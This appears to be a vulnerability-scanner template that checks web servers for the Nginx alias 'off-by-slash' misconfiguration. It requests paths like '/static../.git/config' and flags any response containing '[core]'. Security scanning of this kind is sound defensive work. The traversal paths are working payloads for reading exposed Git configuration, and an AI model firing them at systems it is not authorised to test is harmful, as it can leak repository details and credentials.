id: git-config-nginxoffbyslash

info:
  name: Nginx off-by-slash exposes Git config
  author: organiccrap
  severity: medium
  description: Nginx off-by-slash vulnerability exposes Git configuration.
  reference:
    - https://twitter.com/Random_Robbie/status/1262676628167110656
    - https://github.com/PortSwigger/nginx-alias-traversal/blob/master/off-by-slash.py
  tags: config,exposure,nginx

requests:
  - method: GET
    path:
      - '{{BaseURL}}/static../.git/config'
      - '{{BaseURL}}/js../.git/config'
      - '{{BaseURL}}/images../.git/config'
      - '{{BaseURL}}/img../.git/config'
      - '{{BaseURL}}/css../.git/config'
      - '{{BaseURL}}/assets../.git/config'
      - '{{BaseURL}}/content../.git/config'
      - '{{BaseURL}}/events../.git/config'
      - '{{BaseURL}}/media../.git/config'
      - '{{BaseURL}}/lib../.git/config'

    stop-at-first-match: true
    matchers:
      - type: word
        words:
          - '[core]'